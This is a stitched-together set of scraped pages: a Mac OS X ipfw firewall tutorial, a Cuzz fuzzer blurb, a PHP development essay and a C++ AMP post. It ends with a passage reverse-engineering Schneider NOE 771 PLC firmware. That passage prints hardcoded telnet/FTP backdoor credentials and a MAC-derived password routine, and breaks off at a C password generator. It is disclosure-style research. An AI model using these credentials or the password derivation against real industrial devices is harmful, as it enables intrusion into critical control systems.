    ipfw -f add allow udp from any to any 5353 keep-state
    
[/code]

## Closing Up

The final step is to close our networks so packets that don't match any of the
prior rules don't get inside our machine. To close it up just add:

[code]

    ipfw -f add 65533 reject log udp from any to any in
    ipfw -f add 65534 deny log ip from any to any in
    
[/code]

Notice we are adding this rules almost at the end of the list \(therefore the
high number assigned to the rule\) and we are logging all unwanted traffic.

## Testing the Firewall

In order to test our firewall I recommend you put all the rules in a shell
script so you don't have to type them one by one. The script below is an
example of a configuration file developed just for the purpose of
demonstration of the exercise. It will be called Firewall and it contains the
following:

[code]

    #!/bin/sh
    #
    # ipfw example script for Mac OS X
    # Created for MacShadows Knowledge Base
    # <http://www.macshadows.com/kb>
    # Created by:
    #  Redknight @ 2006
    #  insecurus@gmail.com
    #
     
    # Enabling logging
    if [ `/usr/sbin/sysctl -n net.inet.ip.fw.verbose` == 0 ] ; then
            /usr/sbin/sysctl -w net.inet.ip.fw.verbose=2
    fi
     
    # Clean any pre-existing rules
    /sbin/ipfw -f flush
     
    # Setting up the localhost
    /sbin/ipfw -f add 100 allow ip from any to any via lo*
    /sbin/ipfw -f add 110 deny log ip from 127.0.0.0/8 to any in
    /sbin/ipfw -f add 120 deny log ip from any to 127.0.0.0/8 in
    /sbin/ipfw -f add 130 deny log ip from 224.0.0.0/3 to any in
    /sbin/ipfw -f add 140 deny log tcp from any to 224.0.0.0/3 in
     
    # Tracking states
    /sbin/ipfw -f add 20000 check-state
    /sbin/ipfw -f add allow tcp from any to any established
    /sbin/ipfw -f add allow tcp from any to any out keep-state
    /sbin/ipfw -f add allow udp from any to any out keep-state
    /sbin/ipfw -f add allow icmp from any to any out
     
    # Standard Services & Protocols
    # Setting up SSH
    /sbin/ipfw -f add allow tcp from any to any 22 keep-state setup
     
    # Setting up BonJour
    /sbin/ipfw -f add allow udp from any to any 5353 keep-state
     
    # Setting up ICMP 
    /sbin/ipfw -f add allow icmp from any to any in
     
    # Setting up SMB
    /sbin/ipfw -f add allow tcp from any to any 139 keep-state setup
     
    # Setting up Apple Remote Desktop
    /sbin/ipfw -f add allow tcp from any to any 3283 keep-state setup
    /sbin/ipfw -f add allow tcp from any to any 5900 keep-state setup
     
    # Setting up NTP
    /sbin/ipfw -f add allow udp from any to any 123 keep-state
     
     
    # Closing Up
    /sbin/ipfw -f add 65533 reject log udp from any to any in
    /sbin/ipfw -f add 65534 deny log ip from any to any in
    
[/code]

You should customize your script according to your needs and then test it
thoroughly before putting it in a production environment.

## Making Changes Permanent

Every time you reboot your machine, the system loads its default
configuration. You should customize your script and then run it at startup
time so your computer is automatically configured.

To make it load every time you boot do the following:

  * Make a directory named Firewall under /Library/StartupItems
[code]    sudo mkdir /Library/StartupItems/Firewall

    
[/code]

  * Copy your script to /Library/StartupItems/Firewall
  * Mark it as executable
[code]    sudo chmod ug+x /Library/StartupItems/Firewall/Firewall

    
[/code]

  * Create a file called StartupParameters.plist with the following lines:
[code]    {

    Description = "Firewall";
    Provides = ("Firewall");
    Requires = ("Network");
    OrderPreference = "None";
    Messages =
       {
       start = "Starting NAT/Firewall";
       stop = "Stopping NAT/Firewall";
       };
    }
    
[/code]

  * Finally make sure your Firewall script is written only by root as you don't want anyone changing your firewall setup.

## See also

WaterRoof: a GUI frontend to ipfw  
FWBuilder: Firewall Builder

Retrieved from
"http://www.macshadows.com/kb/index.php?title=Firewall\_Tunning\_on\_Mac\_OS\_X"

Category: Featured Article

  

##### Views

  * Page
  * Discussion
  * View source
  * History

##### Personal tools

  * Log in / create account

##### Navigation

  * Main Page
  * Forums
  * News
  * Recent changes
  * Random page
  * Help

##### Search

##### Ads

##### Toolbox

  * What links here
  * Related changes
  * Special pages
  * Printable version
  * Permanent link

<img src='img/Temp2_3239.png' alt='Powered by MediaWiki' />

  * This page was last modified on 20 October 2009, at 18:19.
  * This page has been accessed 14,640 times.
  * Privacy policy
  * About MacShadows KB
  * Disclaimers

# Cuzz - Microsoft Research

**Created:**| _12/7/2012 1:16:40 PM_  
---|---  
**Updated:**| _12/7/2012 1:16:40 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification research Fuzzer Microsoft multi-
threading concurrency_  
  
  

Cuzz - Concurrency Fuzzing

Cuzz is a very effective tool for finding concurrency bugs. Cuzz works on
unmodified executables and is designed for maximizing concurrency coverage for
your existing \(unmodified\) tests. It randomizes the thread schedules in a
systematic and disciplined way, using an algorithm that provides probabilistic
coverage guarantees.

Cuzz is very scalable and can run on large programs that create lots of
threads. It is available for download within MS at http://codebox/cuzz. We
will have Cuzz available for external users soon. Till then, you can find out
more about Cuzz from this video or the paper below.

Publications

  * John Erickson, Madanlal Musuvathi, sebastian burckhardt, and kirk olynyk, Effective Data-Race Detection for the Kernel, in _Operating System Design and Implementation \(OSDI'10\)_ , USENIX, October 2010
  * Madanlal Musuvathi, Sebastian Burckhardt, Pravesh Kothari, and Santosh Nagarakatte, A Randomized Scheduler with Probabilistic Guarantees of Finding Bugs, in _Proceedings of the Fifteenth International Conference on Architectural Support for Programming Languages and Operating Systems \(ASPLOS 2010\)_, Association for Computing Machinery, Inc., 16 March 2010

  

# PHP Advent 2011 / Cracks in the Foundation

**Created:**| _12/18/2011 4:49:48 PM_  
---|---  
**Updated:**| _12/18/2011 4:49:48 PM_  
**Author:**| __  
**Tags:**| _php_  
  

# _Cracks in the Foundation_

  * Subscribe to our feed
  * Follow us on Twitter

_16 th Dec 2011,_ by Gwynne Raskind:

PHP has been around for a long time, and it’s starting to show its age. From
top to bottom, the language has creaky joints. I’ve decided to take a look at
how things got to this point, and what can be \(and is being\) done about it.
I start out pretty gloomy, but bear with me; I promise it gets better.

## In the Beginning, There Was Apache and CGI

And there was much rejoicing.

In 1994, Rasmus Lerdorf created the “Personal Home Page Tools,” a set of CGI
binaries written in C. These tools looked little-to-nothing like the PHP we
know today. Embedded in HTML comments, and using a syntax bearing no
resemblance to C, they still contribute one critical principle to modern PHP;
it _just worked_.

PHP is a language of convenience. It was built with the idea that anyone could
toss together a few lines of code and have a working CGI script, without
having to worry about the server interface, the cryptic syntax of Perl, or the
pitfalls of C. It’s a great idea, in theory, and for the most part, it’s
worked very well in practice.

Unfortunately, nothing’s perfect — PHP included. Over time, PHP has suffered
everything from security failures to bad design decisions. Some of these
problems were avoidable, but others weren’t.

## Backward Compatibility Is a Female Dog

Backward Compatibility \(or _BC_\) is the bane of every library and app writer
in existence. It stifles improvements, holds back innovation, promotes unsafe
practices, frustrates users, and slows development. PHP, being a language
intended for beginners, suffers from it even more than most.

When BC is broken, apps break. Operating system vendors who shipped the new
and improved version of PHP tend to come under fire for having a broken
system, even though they did nothing wrong. More often, the writers of the
apps are vilified for not providing working software, despite having done
nothing but follow the manual.

Sometimes, the source of the problem is correctly identified, and the PHP
developers are berated for trying to make a better language. No matter who
takes the blame, though, one thing remains constant; users rarely understand
anything other than “it’s broken\!” They don’t care whether the new version is
better. The old one worked. They want it to keep working. It’s a reasonable
expectation.

Unfortunately, with a programming language, it’s often impossible to meet that
expectation without sacrificing features, safety, or speed — usually more than
one of these.

PHP 4.4 was released to fix a bug that caused memory corruption when
references were misued. The fix changed the internal API, forcing every
extension module to be rebuilt. Unfortunately, rebuilding extensions can be an
arduous process in some environments. Some extensions don’t come with source
code. Others are ancient, and code that managed to struggle along finally
stops compiling cleanly. Vendors \(such as those who provide various flavors
of Linux\) who ship packages have to rebuild and test not only PHP itself, but
also every extension they ship before pushing to their repositories.

The results of all this are twofold. First, almost everyone holds off on
updating to the new version to avoid the work and cost involved in fixing the
problems that arise, leaving them all running a version with publically
disclosed memory corruption bugs. Second, PHP itself is discouraged from
making similar changes in the future, lest adoption of compatible fixes be
slowed. It only gets worse when the change breaks _source_ compatibility,
forcing app writers to change their code even after the vendors catch up.

All of this is bad enough when the change is essential for whatever reason.
It’s far worse when the compatibility break is the result of bad choices or
poor planning.

## Innovations Are the Devil’s Playthings

There are several examples in PHP’s history of changes that were made by well-
meaning, forward-thinking developers who were trying to make PHP better, only
to be shouted down because of the trouble it would cause to implement them,
or, worse, to actually make the change and suffer the chaos that ensued,
because they didn’t realize how far the effects would reach.

A recent example is a change in the behavior of the `is_a()` function between
versions 5.3.6 and 5.3.7. `is_a()` used to allow a `string` parameter as its
first argument; it was changed so that it would call the autoloader when
passed a string referring to a class that doesn’t exist. The new behavior was
technically correct and consistent with the `is_subclass_of()` function, but
calling into the autoloader when it previously hadn’t caused a great deal of
working code to break. Several PEAR packages started throwing exceptions from
the autoloader due to supposedly missing classes. Fixing these packages
required adding an extra `is_object()` check to every place `is_a()` was used.

Unfortunately, by the time the scope of the problem was realized, and a
solution was agreed upon, a further version in the 5.3 series, 5.3.8, had been
released, with the new behavior intact. To revert the behavior at that point
would have created a whole new BC break and necessitated a second round of
code changes. By the time the situation was settled with a patch to the 5.4
tree and a reversion in 5.3.9, a CVE report had been entered for the new
behavior, and several mailing list threads regarding poor testing coverage and
lack of procedures for BC breakage had reached impressive length.

All of this could have been avoided if a unit test had caught the break, or a
procedure regarding BC breaks had been in place to prevent the change. The
original author of the change can’t be held responsible for fixing a bug and
correcting inconsistent behavior, but in an environment where fixes and
corrections can have such far-reaching consequences, blame tends to get
assigned \(that fortunately didn’t happen in this case\), and people become
less willing to fix things.

On a rather less excessive note, for a long time there have been complaints
about the inconsistent naming of array functions. It would be quite nice if,
for example, the `[uka][r]sort()` family of functions was instead named
`array_[uka][r]sort()`, but while the new function names could be added, the
old ones couldn’t be removed for a very long time — at least two major PHP
versions. With that limitation in mind, it seems pointless to add the new
names. So, the old ones just stay — the result of a design decision far in
PHP’s past, reasonable at the time \(shorter function names were easier to
understand, remember, and use\).

## When the Porpoises Ask the Few Survivors What Went Wrong

If, in the past, someone had asked me what was wrong with PHP, I probably
would have said something like “developer apathy.” In early 2009, I took the
lead in moving PHP’s source code from the increasingly creaky CVS repo to a
shiny new SVN repo. I found that individuals with specific knowledge, such as
whether a particular module needed to be saved or not, were in plentiful
supply, but it seemed to me as if there was a lack of people to help with the
overall process.

Let history be my judge in that regard. It may have been that offers of help
were made that I misunderstood or chose to ignore. If so, I apologize to all
who made the effort and were rebuffed. I do, however, stand by my assertion of
apathy as a problem; PHP 6’s failure is an equally good example.

Even if we accept that perception as valid, it’s certainly not so any longer.
A great deal more is happening with PHP now at the end of 2011 than was going
on in early 2009. If asked what the problem is today, I would say, “no design
and no plan.”

PHP has always been an evolving, almost-organic language. It has been
rewritten from the bottom up at least four times, with massive internal
changes to the engine at least twice more. Through all these mutations,
however, its external interface — the language itself — has remained quite
similar for a long time. Nearly everything that can be pointed to as different
between PHP 3 and PHP 5.4 is an addition or extension to the language, not a
change in existing behavior. There are exceptions, such as the new object
model, but by and large, a PHP coder looking at PHP 5 code will be able to
make complete sense of PHP 3, and vice versa. All of these versions share one
flaw: there is no single specification of the language\!

External tokenizers have to be implemented by reading the Zend Engine’s re2c
and Bison input files. Reimplementations of PHP have to refer constantly to
Zend’s implementation to understand the quirks of the engine. The behavior of
the language is inconsistent, and it often feels clunky. In particular,
expressions do not reduce recursively to values as one might expect. `(new
SomeClass)->methodReturningClosureReturningArray()()[5]` causes a parse error,
for example, though a similar construct in Objective-C, `[[[SomeClass alloc]
init] methodReturningBlockReturningArray]()[5]` works fine.

There are a variety of reasons why this behavior is part of the PHP language,
but they boil down to two major points. First, there is no specification that
says how the language _should_ work; there’s nothing to compare against and
say, “this is wrong” or “this is wrong.” Second, fixing issues like these in a
complete and lasting form would necessitate a parser rewrite, and that means
reimplementing the entire language differently. “BC break” doesn’t even begin
to cover it.

## I Can See Clearly Now

I’ve gone on at quite some length about PHP’s problems. I’ve mentioned some
solutions to those problems, but I haven’t said much about what’s actually
happening. So, here’s the situation, and it’s not nearly so bad as I may have
made it sound.

BC breaks

    A new release process was adopted in June of 2011, clarifying the timeline for releases, including the proper times for changes which break BC. This has also put PHP on a track for more regular releases in general, which is a significant help for vendors who bundle PHP.
Communication problems

    PHP has historically had trouble with no one outside the core team knowing what was happening. In the last several months, there has been considerably more communication with OS vendors and others affected by changes and the release timeline. Some of them came to us, but in other cases we went to them.
Lack of specification and standardization

    The lack of a language specification remains a significant issue, but at the very least, awareness of the problem has increased. An initiative to document the language behavior in a format such as EBNF has been suggested.
Unit tests ignored and broken

    This particular problem, brought to the public eye by a major security bug in the 5.3.7 release which was caught — and ignored — by a unit test, was dealt with shortly thereafter. Since that time, a huge number of failing tests were fixed, and the release managers now pay a great deal more attention to the test suite.
Apathy

    Developer apathy in the PHP community has largely disappeared. Participation and discussion are considerably improved from where they once were. Development is now active on the 5.4 branch, the development line that grew out of the PHP 6 effort, and it’s already in RC status as of this writing.
Undocumented, confusing engine API

    Unfortunately, the cruft of the Zend Engine’s API remains a sticking point. The API is complicated, mostly undocumented, and completely unintuitive. `zval` reference management comes to mind. Efforts made to document the API have stalled time and again. The news isn’t all grim, though; an RFC is in discussion to completely separate the internal API and create a new, clean external API.
Bit rot \(old code and features holding back new things\)

    The new release process eases this quite a bit; it’s now safe to say there will be a new version at some point which isn’t afraid to break BC. This follows from a simple and obvious fact: the people affected by BC breaks will now have warning that it will happen. Deprecation in point releases is a bad way to handle future changes. Giving the expectation of major changes at a defined point in the future is a good way, and that’s where PHP is headed.
No Unicode

    The lack of Unicode support in PHP remains a serious problem, but at least we’re no longer nursing a dying animal \(PHP 6\) in the vain hopes of making it work when the entire surrounding situation has changed. This opens the door for new ideas on how to fix the issue. For more on PHP 6’s history, see this excellent set of slides by Andrei Zmievski.
## A Little Nonsense Now and Then Is Relished by the Wisest Men

It’s safe to say PHP still has a long way to go to be the shining beacon of
light we’d all like to see in a language, but it has withstood the test of
time better than any other language of its kind, and it sees daily use across
millions of servers. Nothing that’s wrong with PHP or its development is
unsolvable, and tremendous progress has been made in the last year. No matter
how dark I may have sounded during some parts of this article, I’m proud to be
a part of PHP, and I hope I’ll continue in the future.

## Developer Gift

A gift I recommend for any developer is a copy of any comprehensive book on
hardware architecture and operating system design, with Inside the Machine and
Operating Systems Design and Implementation being two excellent examples. I
have long held the belief that any developer’s skills — whether they’re
writing raw machine code or PHP or anything in between — can be improved by a
clear and comprehensive understanding of the machines themselves.

  *[CVE]: Common Vulnerabilities and Exposures

# Screencasts on C++ AMP - Parallel Programming in Native Code - Site Home -
MSDN Blogs

**Created:**| _4/20/2012 7:10:43 PM_  
---|---  
**Updated:**| _4/20/2012 7:10:43 PM_  
**Author:**| __  
**Tags:**| _C++_  
  

### Screencasts on C++ AMP

<img src='img/Temp2_7266.jpg' /> DanielMoth

15 Apr 2012 9:26 PM

  * 0

A great way to learn a technology, beyond reading about it or working through
code samples, is by watching short recordings representing mini-tutorials that
we call screencasts. These are essentially a recording of somebody's screen
while they walk you through some code and explain concepts. We'll have many of
those, and you'll be able to follow them on the C++ AMP channel9 tag \(RSS\).

Our first 4 C++ AMP screencasts accompany the first MSDN magazine article that
I already mentioned on our blog, and here are the direct links to the
screencasts:

  1. Setup code - C++ AMP - msdn mag companion part 1
  2. array\_view, extent, index - C++ AMP - msdn mag companion part 2
  3. parallel\_for\_each - C++ AMP - msdn mag companion part 3
  4. accelerator - C++ AMP - msdn mag companion part 4

If you have questions after watching them, we'd be happy to take them as usual
in our online MSDN forum.

# Reverse Mode - Reversing Industrial firmware for fun and backdoors I

**Created:**| _12/12/2011 9:17:34 PM_  
---|---  
**Updated:**| _12/12/2011 9:17:34 PM_  
**Author:**| __  
**Tags:**| _reversing scada_  
  
|  Reversing Industrial firmware for fun and backdoors I |  <img src='img/Temp2_6927.png' alt='PDF' /> |  <img src='img/Temp2_6935.png' alt='Print' />  
---|---|---  
Written by Rubén  
---  
Monday, 12 December 2011  
Hi  
  
Everybody knows I'm commited to hack into the LHC and then blow up the world,
my first try was 4 months ago, as you can see below this post, I published
“The power of reading: the CERN case” where I explained the method used to
obtain confidential information about the LHC that lead me to 'hack' into the
CERN \(not really\). Anyway, if you carefully take a look at the picture that
contains some PLCs modules, you'll distinguish their names; one of them was
“NOE 771”.  
  
<img src='img/Temp2_6934.png' />  
  
So here I go again...  
  
“NOE 771” devices are manufactured by Schneider Electrics and “is the latest
model in a line of Quantum Ethernet TCP/IP modules designed to make it
possible for a Quantum Programmable Logic Controller \(PLC\) to communicate
with devices over an Ethernet network” It sounds good, isn't it?  
  
The next logical steps for those poor european independent researchers focused
on ICS security are  
  
\- Search via SHODAN to make sure whether you'll be able to test some of your
findings without having to buy the device.  
\- Download the firmware to research into the device without having it
physically.  
  
Both milestones can be successfully achieved without any problem so now it's
time to reverse engineer the firmware\!  
  
<img src='img/Temp2_6933.png' />  
  
This is what we get after decompressing the main file. Well, obviously the
hardcoded credentials present inside the scripts used to update the firmware
through ftp are significative. Also this other hardcoded, and well known,
account inside _'/wwwroot/classes/SAComm.jar'_  
  
<img src='img/Temp2_6924.png' />  
  
Anyway I was more interested in the firmware so let's take a look at
'wwwroot\conf\exec\NOE7711.bin'  
  
<img src='img/Temp2_6932.png' />  
  
As usual, header + ZLIB compressed blob. Once decompressed, the first thing we
should do is identifying the processor, there is a cool presentation of Igor
Skochinsky which you may find useful during this task. It turns out to be
PowerPC.  
  
  
  
After loading it in ida 6.0 I get this 'sad' scenario.  
  
<img src='img/Temp2_6931.png' />  
  
So one more time, common steps to reconstruct a firmware:  
  
\- Collect info from strings  
\- Fix functions  
\- Rebase  
\- Rebuild symbols if possible  
  
First of all, by analizing the strings, we can detect this image as a VxWorks
based firmware. Now time to fix the code, don't panic\! a simple _idc_ does
the magic. Let's take a look at some random prologs of those functions that
IDA has already detected.  
  
<img src='img/Temp2_6926.png' />  
  
<img src='img/Temp2_6930.png' />  
  
So it seems clear we can use “**94 21 FF ?** ” as a pattern to identify
additional functions. After running the script we can see how everything looks
totally different.  
  

[code]

    
[/code]

<img src='img/Temp2_6936.png' />  
  
Finding the address to rebase the firmware is a matter of applying certain
tricks, during this article we'll see a couple of them. Sometimes the blob
where the firmware is embedded contains a header where you can find the base
address or maybe it's even a u-boot image. Anyway, this isn't the case but so
we have no idea what the base address is, therefore we can use the well-known
'li instructions' trick  
  
<img src='img/Temp2_6929.png' />  
  
It seems we have a winner: 0x10000. Once rebased it's time to find the
symbols. Commonly. and regardless the type of firmware you're reversing, a
method that works pretty well is finding a fixed structure being repeated n
times, by inspecting carefully the 'data segment' we can quickly find the
symbol table located between 0x00342360 and 0x0036BA60. We'll use the
following **_script_** to parse it.  
  
Ok, we are ready to research into the firmware now that is more human
readable. So we can easily follow the VxWorks inicialization procedure, from
the default entrypoint 'SymInit'. There is a function specially interesting
for us: 'usrRoot' which performs an important part of the initialization,
spawning additional tasks as well.  
  
<img src='img/Temp2_6925.png' />  
  
**telnetInit**  
  
http://www-
kryo.desy.de/documents/vxWorks/V5.4/vxworks/ref/telnetLib.html\#telnetInit  
  
“The telnet daemon, telnetd\( \), accepts remote telnet login requests and
causes the shell's input and output to be redirected to the remote user. The
telnet daemon is started by calling telnetInit\( \), which is called
automatically when the configuration macro INCLUDE\_TELNET is defined.”  
  
However, we still need valid credentials to log in.  
  
**\--SPOILER-- :\)**  
  
There are several hidden accounts allowing remote access via telnet...  
  

[code]

    Commands accepted by this telnet shell (port 23)
    
    help                           Print this list
    ioHelp                         Print I/O utilities help info
    dbgHelp                        Print debugger help info
    nfsHelp                        Print nfs help info
    netHelp                        Print network help info
    spyHelp                        Print task histogrammer help info
    timexHelp                      Print execution timer help info
    h         [n]                  Print (or set) shell history
    i         [task]               Summary of tasks' TCBs
    ti        task                 Complete info on TCB for task
    sp        adr,args...          Spawn a task, pri=100, opt=0, stk=20000
    taskSpawn name,pri,opt,stk,adr,args... Spawn a task
    td        task                 Delete a task
    ts        task                 Suspend a task
    tr        task                 Resume a task
    d         [adr[,nunits[,width]]] Display memory
    m         adr[,width]          Modify memory
    mRegs     [reg[,task]]         Modify a task's registers interactively
    pc        [task]               Return task's program counter
    
    Type 
[/code]

to continue, Q to stop: iam "user"\[,"passwd"\] Set user name and passwd
whoami Print user name devs List devices ld \[syms\[,noAbort\]\[,"name"\]\]
Load stdin, or file, into memory \(syms = add symbols to table: -1 = none, 0 =
globals, 1 = all\) lkup \["substr"\] List symbols in system symbol table
lkAddr address List symbol table entries near address checkStack \[task\] List
task stack sizes and usage printErrno value Print the name of a status value
period secs,adr,args... Spawn task to call function periodically repeat
n,adr,args... Spawn task to call function n times \(0=forever\) version Print
VxWorks version info, and boot l  **\--SPOILER--**  
  
**usrSecurity**  
  
<img src='img/Temp2_6923.png' />  
  
This looks like valid credentials, the password is hashed though. You should
check out this website to learn how to crack VxWorks passwords
http://cvk.posterous.com/how-to-crack-vxworks-password-hashes **usrWdbInit**  
  
The 'infamous' WDB service is active. At this point it's mandatory to recall
the research performed by HD Moore on VxWorks, it's really useful to gain a
deeper understanding on how the WDB agent and VxWorks hashed passwords can be
used as attack vectors.
https://community.rapid7.com/community/metasploit/blog/2010/08/02/shiny-old-
vxworks-vulnerabilities  
  
_Credential List_  
  
\#1 → AUT\_CSE:cQdd9debez \(hashed\)  
  
**usrAppInit**  
  
This function is a must since it's used by the developers to perform their own
initialization so we can assum that contains interesting things. Let's see:  
  

* * *
ROM:0002A00C bl loginInit ROM:0002A010 addi %r0, %r31, 0x528 ROM:0002A014 lwz
%r9, 0x520\(%r31\) ROM:0002A018 lbz %r11, 0\(%r9\) ROM:0002A01C clrlwi %r9,
%r11, 24 ROM:0002A020 lwz %r10, 0x520\(%r31\) ROM:0002A024 addi %r11, %r10, 1
ROM:0002A028 lbz %r10, 0\(%r11\) ROM:0002A02C clrlwi %r11, %r10, 24
ROM:0002A030 lwz %r8, 0x520\(%r31\) ROM:0002A034 addi %r10, %r8, 2
ROM:0002A038 lbz %r8, 0\(%r10\) ROM:0002A03C clrlwi %r10, %r8, 24 ROM:0002A040
lwz %r7, 0x520\(%r31\) ROM:0002A044 addi %r8, %r7, 3 ROM:0002A048 lbz %r7,
0\(%r8\) ROM:0002A04C clrlwi %r8, %r7, 24 ROM:0002A050 lwz %r6, 0x520\(%r31\)
ROM:0002A054 addi %r7, %r6, 4 ROM:0002A058 lbz %r6, 0\(%r7\) ROM:0002A05C
clrlwi %r29, %r6, 24 ROM:0002A060 lwz %r6, 0x520\(%r31\) ROM:0002A064 addi
%r7, %r6, 5 ROM:0002A068 lbz %r6, 0\(%r7\) ROM:0002A06C clrlwi %r28, %r6, 24
ROM:0002A070 mr %r3, %r0 ROM:0002A074 lis %r7,
\(\(a\_2x\_2x\_2x\_2x\_0+0x10000\)@h\) \# "%.2X%.2X%.2X%.2X%.2X%.2X"
ROM:0002A078 addi %r4, %r7, -0x56F4 \# a\_2x\_2x\_2x\_2x\_0 ROM:0002A07C mr
%r5, %r9 ROM:0002A080 mr %r6, %r11 ROM:0002A084 mr %r7, %r10 ROM:0002A088 mr
%r9, %r29 ROM:0002A08C mr %r10, %r28 ROM:0002A090 bl sprintf ROM:0002A094 addi
%r0, %r31, 0x528 ROM:0002A098 addi %r9, %r31, 0x538 ROM:0002A09C mr %r3, %r0
ROM:0002A0A0 mr %r4, %r9 ROM:0002A0A4 bl ComputePassword ROM:0002A0A8 addi
%r0, %r31, 0x538 ROM:0002A0AC lis %r9, \(\(aPasswordS+0x10000\)@h\) \#
"\-----> Password: %s <\-----\n" ROM:0002A0B0 addi %r3, %r9, -0x56D8 \#
aPasswordS ROM:0002A0B4 mr %r4, %r0 ROM:0002A0B8 bl printf ROM:0002A0BC addi
%r0, %r31, 0x538 ROM:0002A0C0 mr %r3, %r0 ROM:0002A0C4 lis %r9, unk\_374764@h
ROM:0002A0C8 addi %r4, %r9, unk\_374764@l ROM:0002A0CC bl loginDefaultEncrypt
ROM:0002A0D0 lis %r9, \(\(aFwupgrade+0x10000\)@h\) \# "fwupgrade" ROM:0002A0D4
addi %r3, %r9, -0x56BC \# aFwupgrade ROM:0002A0D8 lis %r9, unk\_374764@h
ROM:0002A0DC addi %r4, %r9, unk\_374764@l ROM:0002A0E0 bl loginUserAdd
ROM:0002A0E4 lis %r9, \(\(aSysdiag+0x10000\)@h\) \# "sysdiag" ROM:0002A0E8
addi %r3, %r9, -0x56B0 \# aSysdiag ROM:0002A0EC lis %r9,
\(\(aBbddrdzb9+0x10000\)@h\) \# "bbddRdzb9" ROM:0002A0F0 addi %r4, %r9,
-0x56A8 \# aBbddrdzb9 ROM:0002A0F4 bl loginUserAdd ROM:0002A0F8 lis %r9,
\(\(aNoe77111\_v500+0x10000\)@h\) \# "noe77111\_v500" ROM:0002A0FC addi %r3,
%r9, -0x569C \# aNoe77111\_v500 ROM:0002A100 lis %r9,
\(\(aRcsyyebczs+0x10000\)@h\) \# "RcSyyebczS" ROM:0002A104 addi %r4, %r9,
-0x568C \# aRcsyyebczs ROM:0002A108 bl loginUserAdd ROM:0002A10C lis %r9,
\(\(aFdrusers+0x10000\)@h\) \# "fdrusers" ROM:0002A110 addi %r3, %r9, -0x5680
\# aFdrusers ROM:0002A114 lis %r9, \(\(aBrbqyzcy9b+0x10000\)@h\) \#
"bRbQyzcy9b" ROM:0002A118 addi %r4, %r9, -0x5674 \# aBrbqyzcy9b ROM:0002A11C
bl loginUserAdd ROM:0002A120 lis %r9, \(\(aAutcse+0x10000\)@h\) \# "AUTCSE"
ROM:0002A124 addi %r3, %r9, -0x5668 \# aAutcse ROM:0002A128 lis %r9,
\(\(aRybqrceesd+0x10000\)@h\) \# "RybQRceeSd" ROM:0002A12C addi %r4, %r9,
-0x5660 \# aRybqrceesd ROM:0002A130 bl loginUserAdd ROM:0002A134 lis %r9,
\(\(aFtpuser+0x10000\)@h\) \# "ftpuser" ROM:0002A138 addi %r3, %r9, -0x5654 \#
aFtpuser ROM:0002A13C lis %r9, \(\(aRcqbrbzryc+0x10000\)@h\) \# "RcQbRbzRyc"
ROM:0002A140 addi %r4, %r9, -0x564C \# aRcqbrbzryc ROM:0002A144 bl
loginUserAdd ROM:0002A148 lis %r9, \(\(aUser\_0+0x10000\)@h\) \# "USER"
ROM:0002A14C addi %r3, %r9, -0x5640 \# aUser\_0 ROM:0002A150 lis %r9,
\(\(aCdcs9bcqc+0x10000\)@h\) \# "cdcS9bcQc" ROM:0002A154 addi %r4, %r9,
-0x5638 \# aCdcs9bcqc ROM:0002A158 bl loginUserAdd ROM:0002A15C lis %r9,
\(\(aNtpupdate+0x10000\)@h\) \# "ntpupdate" ROM:0002A160 addi %r3, %r9,
-0x562C \# aNtpupdate ROM:0002A164 lis %r9, \(\(aSee9cb9y99+0x10000\)@h\) \#
"See9cb9y99" ROM:0002A168 addi %r4, %r9, -0x5620 \# aSee9cb9y99 ROM:0002A16C
bl loginUserAdd ROM:0002A170 bl FTP\_User\_Add ROM:0002A174 lis %r9,
loginUserVerify@h ROM:0002A178 addi %r3, %r9, loginUserVerify@l ROM:0002A17C
li %r4, 0 ROM:0002A180 bl ftpdInit  
  
Pretty clear, isn't it? It's adding up to 8 hardcoded accounts. Anyway a
couple of things deserve more attention.  
  
**ComputePassword**  
  
This function generates a password for the user 'fwupgrade' deriving it from
the MAC address, which is obtained by '**GetEthAddr** '.  
  
ROM:00029EEC bl GetEthAddr ROM:00029EF0 mr %r0, %r3 ROM:00029EF4 stw %r0,
0x520\(%r31\)  
  
ROM:00063E78 ROM:00063E78 \# =============== S U B R O U T I N E
======================================= ROM:00063E78 ROM:00063E78 ROM:00063E78
ComputePassword: \# CODE XREF: usrAppInit+1D8p ROM:00063E78 \# DATA XREF:
ROM:003430E8o ROM:00063E78 ROM:00063E78 .set var\_28, -0x28 ROM:00063E78 .set
var\_10, -0x10 ROM:00063E78 .set var\_C, -0xC ROM:00063E78 .set var\_8, -8
ROM:00063E78 .set var\_4, -4 ROM:00063E78 .set arg\_4, 4 ROM:00063E78
ROM:00063E78 stwu %sp, -0x30\(%sp\) ROM:00063E7C mflr %r0 ROM:00063E80 stw
%r28, 0x30+var\_10\(%sp\) ROM:00063E84 stw %r29, 0x30+var\_C\(%sp\)
ROM:00063E88 stw %r30, 0x30+var\_8\(%sp\) ROM:00063E8C stw %r31,
0x30+var\_4\(%sp\) ROM:00063E90 stw %r0, 0x30+arg\_4\(%sp\) ROM:00063E94 mr
%r28, %r3 ROM:00063E98 mr %r29, %r4 ROM:00063E9C mr %r3, %r29 ROM:00063EA0 lis
%r4, \(\(a0x\_0+0x10000\)@h\) \# "0x" ROM:00063EA4 addi %r4, %r4, -0x7578 \#
a0x\_0 ROM:00063EA8 bl strcpy ROM:00063EAC mr %r3, %r29 ROM:00063EB0 addi %r4,
%r28, 3 ROM:00063EB4 bl strcat ROM:00063EB8 mr %r3, %r29 ROM:00063EBC addi
%r4, %sp, 0x30+var\_28 ROM:00063EC0 li %r5, 0x10 ROM:00063EC4 bl strtoul
ROM:00063EC8 rotrwi %r5, %r3, 7 ROM:00063ECC xor %r5, %r5, %r3 ROM:00063ED0 mr
%r3, %r29 ROM:00063ED4 lis %r4, \(\(a\_8x\_0+0x10000\)@h\) \# "%.8x"
ROM:00063ED8 addi %r4, %r4, -0x7574 \# a\_8x\_0 ROM:00063EDC rotrwi %r5, %r5,
9 ROM:00063EE0 bl sprintf ROM:00063EE4 lwz %r0, 0x30+arg\_4\(%sp\)
ROM:00063EE8 mtlr %r0 ROM:00063EEC lwz %r28, 0x30+var\_10\(%sp\) ROM:00063EF0
lwz %r29, 0x30+var\_C\(%sp\) ROM:00063EF4 lwz %r30, 0x30+var\_8\(%sp\)
ROM:00063EF8 lwz %r31, 0x30+var\_4\(%sp\) ROM:00063EFC addi %sp, %sp, 0x30
ROM:00063F00 blr ROM:00063F00 \# End of function ComputePassword ROM:00063F00  
  
In C would be something like this:  
  

[code]

    /* Schneider NOE 771 fwupgrade pass generator */
    /* Based on device's ethernet address */
